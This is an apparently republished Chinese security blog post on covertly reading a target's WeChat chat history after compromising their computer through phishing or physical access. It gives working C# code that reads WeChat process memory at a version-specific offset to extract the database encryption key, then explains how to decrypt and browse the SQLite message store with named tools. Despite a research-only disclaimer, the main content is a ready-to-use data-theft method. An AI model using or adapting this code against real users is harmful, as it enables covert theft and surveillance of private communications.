读取微信聊天记录

admin 2024年10月16日11:43:06评论23 views字数 2680阅读8分56秒阅读模式

0x01 前言

写这篇文章,主要是因为我想做一下视频,但内容不想太专业化,万事开头难,先来打个草稿,然后尝试录个视频剪辑下。

我感觉emm,就是可以查看聊天记录具备一定的隐蔽性,比如你通过钓鱼/近源等方式获取到了目标电脑权限,想要获取微信聊天记录,但不好直接远程操控,就可以尝试这种方法了。

还有不少朋友来问我有没有公开交流群,那就来建个群,在文底欢迎加入。

0x02 分析     

看了文章得知,微信的聊天记录是存成 SQLite 数据库的,但文件被加密了,所以得先解密才能看。

读取微信聊天记录

好在现在有不少工具可以直接解密,不用自己去研究算法。不过,不同版本的微信用的解密密钥不一样,很多工具是通过记录历史版本的偏移来找到密钥的。如果遇到新版本或者工具还不支持的情况,那就得自己手动搞到密钥了。

部分微信key提取工具:https://github.com/Ormicron/Sharp-dumpkeyhttps://github.com/AdminTest0/SharpWxDump

读取微信聊天记录

我这里是最新版本,工具还不支持,需要手动获取,参考以下方式获取密钥。

读取微信聊天记录

掏出我多年前改过的一个老CE(Cheat Engine),这里我的设备为iphone。

读取微信聊天记录

可以看到此内存区域附近有显示手机号、微信ID、地址等信息,按照以上说的方式,寻找16字节对齐且字符串为32字节的地址,尝试解密来验证是否为正确的密钥。

读取微信聊天记录

得到key地址为WeChatWin.dll+597D490-b0。

读取微信聊天记录

读取微信聊天记录

编写脚本一键化获取3.9.12.17版本的密钥,如果要获取其他版本只需要在代码中更换或添加偏移地址。

//C#代码using System;using System.Diagnostics;using System.Runtime.InteropServices;namespace WeChatGetKey{    internal class Program    {        private static void Main(string[] args)        {            try            {                RetrieveWeChatKey();            }            catch (Exception ex)            {                Console.WriteLine(ex.Message);            }        }        private static void RetrieveWeChatKey()        {            Process weChatProcess = null;            foreach (Process process in Process.GetProcessesByName("WeChat"))            {                weChatProcess = process;                Console.WriteLine("微信进程ID: " + weChatProcess.Id);                foreach (ProcessModule module in weChatProcess.Modules)                {                    if (module.ModuleName == "WeChatWin.dll")                    {                        IntPtr baseAddress = module.BaseAddress;                        string version = module.FileVersionInfo.FileVersion;                        Console.WriteLine("微信版本: " + version);                        if (version != "3.9.12.17")                        {                            Console.WriteLine("不支持此微信版本 " + version + "");                            return;                        }                        //WeChatWin.dll+0x597D490-0xb0                        long keyAddress = (long)baseAddress + 0x597D490 - 0xb0;                        string hexKey = ReadHexValue(weChatProcess.Handle, (IntPtr)keyAddress);                        if (!string.IsNullOrEmpty(hexKey))                        {                            Console.WriteLine("微信Key: " + hexKey);                        }                        return;                    }                }            }            if (weChatProcess == null)            {                Console.WriteLine("需打开微信");            }        }        private static string ReadHexValue(IntPtr processHandle, IntPtr baseAddress)        {            byte[] buffer = new byte[8];            if (ReadProcessMemory(processHandle, baseAddress, buffer, 8, 0) == 0)            {                return "";            }            int length = 32;            byte[] dataBuffer = new byte[length];            IntPtr targetAddress = (IntPtr)(                ((long)buffer[7] << 56) +                ((long)buffer[6] << 48) +                ((long)buffer[5] << 40) +                ((long)buffer[4] << 32) +                ((long)buffer[3] << 24) +                ((long)buffer[2] << 16) +                ((long)buffer[1] << 8) +                (long)buffer[0]);            if (ReadProcessMemory(processHandle, targetAddress, dataBuffer, length, 0) == 0)            {                return "";            }            return ConvertBytesToHex(dataBuffer);        }        private static string ConvertBytesToHex(byte[] bytes)        {            return BitConverter.ToString(bytes, 0).Replace("-", string.Empty).ToLower();        }        [DllImport("kernel32.dll")]        public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, int lpNumberOfBytesRead);    }}

读取微信聊天记录获取到密钥之后可以配合chatViewTool工具写好的解密功能来解密db文件。

https://github.com/Ormicron/chatViewTool

读取微信聊天记录

读取微信聊天记录

代码中会对密钥格式进行处理,直接将上面程序输出的微信key写入到文件就好。

读取微信聊天记录

读取微信聊天记录

待解密完成可通过Navicat选择SQLite打开db文件进行查看。

读取微信聊天记录

读取微信聊天记录

读取微信聊天记录

也可配合工具的查看数据库功能对数据进行关联展示,要求比较高的也可自行编写脚本对数据进行处理。

读取微信聊天记录

原文始发于微信公众号(安全绘景):读取微信聊天记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日11:43:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   读取微信聊天记录https://cn-sec.com/archives/3275321.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息